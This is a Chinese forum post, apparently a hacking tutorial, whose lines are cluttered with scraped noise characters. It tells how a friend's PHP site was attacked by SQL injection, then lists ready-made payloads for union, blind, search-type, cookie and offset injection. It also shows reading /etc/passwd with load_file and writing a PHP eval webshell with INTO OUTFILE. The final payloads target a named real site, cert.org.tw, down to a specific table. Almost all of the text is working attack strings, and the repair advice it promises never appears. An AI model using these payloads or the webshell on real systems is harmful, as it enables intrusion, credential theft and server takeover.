我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
' k+ a4 [5 m1 V" `. M让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
" o' `, W$ t2 l% J% t我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
- V" D( M0 h4 `, W: U9 B如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
# G; c3 a3 Q8 z5 c2 x1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
5 z+ H& R+ g' T4 a7 n, R这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
" A+ z9 n& R# fWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in2 _' c! d) e3 ]3 X O1 y. v2 T! {4 F
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
5 B3 v e0 }2 K9 I1 g" h 2 u+ ^; b A2 G7 d
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
) S* ^6 n6 V* x* x2 `* S3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意 X9 c5 q3 Y, A; l
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
* R- `! A+ }; {4 E; @5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。$ d; V2 }& o/ ?6 A
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
* T% n' ~5 |( d2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
+ B* f* k+ k0 _; _; l7 p1 U( R; F1 `我就用的是第二个思路,' z3 ]' M9 {3 q3 Z
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- " @3 }8 o# a( t$ }0 Z2 O$ A, S
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
# O: V3 X% n, |3 _提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--+ g* C( z# f9 F# A( X7 ?7 I
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。2 B$ o/ H) U! j/ x6 p
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????5 ^# x. `& x- h Z. g
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd....., J6 T1 N. ]8 `& \1 J
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
% n& J0 I) H( Q% {/ U+ X' A6 P然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
8 B( ]5 s) {. K8 X! p8 f/ v- o调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......1 v, B! H8 O2 N+ i7 R5 I: K5 z. M' o% _
下面是一些很普遍注入方式资料:$ X5 I3 V' N) ~3 x% Q. o
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='9 Y8 z- j w$ s$ V1 Z
拆半法. o, _; B6 Y- k ]& l
######################################8 a" T3 j; Q+ l f) S* ]4 W
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
$ b4 X7 @' O$ }( N0 Xand exists (select * from admin)
+ Q5 \1 J V/ Q% C& ?( Xand exists(select id from admin)$ b$ h+ n! l9 I) t
and exists(select id from admin where id=1)7 X* c- `; \5 ~) k
and exists(select id from admin where id>1)
6 T% p' R9 d4 k6 _3 q然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
& ^- S s2 r8 A' y* m) j% b/ mand exists (select username from admin)! x+ F) C. Q9 }
and exists (select password from admin)% _' v# k# P# F2 k6 v0 K# G3 o0 C
and exists (select id from admin where len(username)<10 and id=1)4 Q7 x$ f# Y3 d/ S% C
and exists (select id from admin where len(username)>5 and id=1)
+ k, [+ u! N- E' |7 V, G% M# iand exists (select id from admin where len(username)=6 and id=1): \3 @- g5 u* a. D, K' @* P
and exists (select id from admin where len(password)<10 and id=1)
2 z, J9 A0 F+ e) ]$ D& hand exists (select id from admin where len(password)>5 and id=1)
0 a3 j0 x0 |$ z9 c6 S9 P8 J8 Mand exists (select id from admin where len(password)=7 and id=1)/ L- |. Q# x# a
and (select top 1 asc(mid(username,1,1)) from admin)=973 }! Q2 {! X2 | q% n0 f2 e6 W4 n; p7 L
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。, |' F" c1 o) M4 b- e+ T5 \
猜第二位把username,1,1改成username,2,1就可以了。
1 [" @5 D4 ?8 P3 {0 ^猜密码把username改成password就OK了
, z* l- h1 l* o% M9 @0 M##################################################
8 e' `. B' p" P5 G4 n- M$ K搜索型注入) `$ U5 I' |6 e
##################################
/ h& h6 M$ W2 T5 [) z8 i6 I%' and 1=1 and '%'='( o( ^" X( O1 o$ `, H
%' and exists (select * from admin) and '%'='7 }+ g4 V# D2 w/ e4 c1 I: R
%' and exists(select id from admin where id=1) and '%'='9 D+ r8 j. B) I6 M0 G) _
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
; X2 t y3 r: n%' and exists (select id from admin where len(password)=7 and id=1) and '%'='. }' x3 V+ b& U" e
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='1 R. ]( y2 u8 u; }
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
9 O8 c1 _9 g# V J0 S) b. W对于MSSQL数据库,后面可以吧 and '%'='换成--/ f) @ R% C, ?" o
还有一点搜索型注入也可以使用union语句。. V" }/ f" Q* e. w1 o9 ~3 y: O% f
########################################################) V) m* R0 Y @* f$ j* e, Q5 Z$ K
联合查询。1 ]$ c) M: D S, n
#####################################
: J- F5 M0 y1 C+ g9 _) t; Sorder by 10
& D3 M* x! w( H% d, g) Y) c$ wand 1=2 union select 1,2,3,4,5,6,7,8,9,10
5 ?. m k+ {5 v2 `+ w6 Z, Jand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
& `$ M: s( l2 a% o+ f% |/ Land 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1" G/ N) C2 R# }4 S. t4 M0 ^( E
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
7 o( s% o% f& j% b! A################################### g5 L5 e% ]1 f0 k: t
cookie注入
+ n$ d z: e0 X###############################
5 L8 ^5 u- m# o* ?4 H) Uhttp://www.******.com/shownews.asp?id=1277 |7 C1 w5 Z l/ k6 U/ U( c. C
http://www.******.com/shownews.asp' y: V2 M0 K( T" s" p
alert(="id="+escape("127"));
/ z1 U2 P; f" \. t- x$ u) dalert(="id="+escape("127 and 1=1"));
, L5 b. H8 V6 h8 b* X) r( ^alert(="id="+escape("127 order by 10"));
. l; g0 h+ Z2 X9 o* Galert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")); y' l& ~7 Z( ]/ I( Z' x/ j
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
+ v- @8 |( x1 k; b7 R6 M这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
: U, o' [ H, x4 V: j! B###################################! I' r4 ?3 B' f/ T1 F
偏移注入
6 W R" E2 M1 B7 V/ ]###########################################################
9 S" }3 s. r7 U- M& m9 I0 z! iunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
! {# J3 r; B& @4 Kunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin. T9 H% s$ Q+ |
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
; l6 t, e% M5 T( Xunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
; B1 G4 h$ o6 m+ D$ h3 A: ^union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)5 q* }1 ~4 t, I6 t
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)* I% n+ H0 r& r( O; r5 M
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on+ f( @& c! [0 Z7 i: C/ z
a.id=d.id)
! a) j& s9 u' G: A+ w/ _. y$ Hand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)9 ?4 g: U6 I3 H- a; A# Y
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
8 |- B1 ]6 f T9 I+ Z, P: ^
4 w/ u% T( u7 q' ]& r9 n============================================================================================================0 C& j3 E! K( F' ^7 c, y& ~2 j
1.判断版本( V6 R! E' S1 v$ Q& T& A
and ord(mid(version(),1,1))>51% z$ N! k- p9 ^
返回正常,说明大于4.0版本,支持ounion查询& m4 _- H% p. A) U+ C% X
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解8 r8 M' u! w$ O2 w: ?1 D2 w
and 2=4 union select 1,2,3,4,5,6,7,8,9--# P4 J9 S% l' d' p; [
3.查看数据库版本及当前用户,
, z$ r+ d' ]/ U* w# pand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
2 I8 q# u: \8 j数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,$ @4 w+ R% o8 s1 Y6 {1 ~
4.判断有没有写权限. Y6 L% U$ S1 L5 k$ O+ v1 |
and (select count(*) from MySQL.user)>0-- ' j @2 e5 b) \. ^2 a, p, o
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
+ [+ @) ~1 |, y5 b/ [6 h& Z& X用不了这个命令,就学习土耳其黑客手法,如下7 `( Z3 P" ]7 w6 g( Q" o
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
" w R. A ^ C. ?/ V6.爆表,爆库
/ e4 E0 ^9 ~1 I3 jand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--% o* }3 h( w5 h0 H2 R( U3 G% {
7.爆列名,爆表" o; S; a3 W- F
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--3 H7 l% v' I. F% f! I/ X
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
; K9 W o7 W& o$ N7 v: ]& U" k4 mand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
, f2 ~2 ~4 d* o/ W8 z1 ?9.爆字段内容
" @3 c* ^: I9 O; c' I; j9 z. Aand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
, Z: w+ S: d* e! Bhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |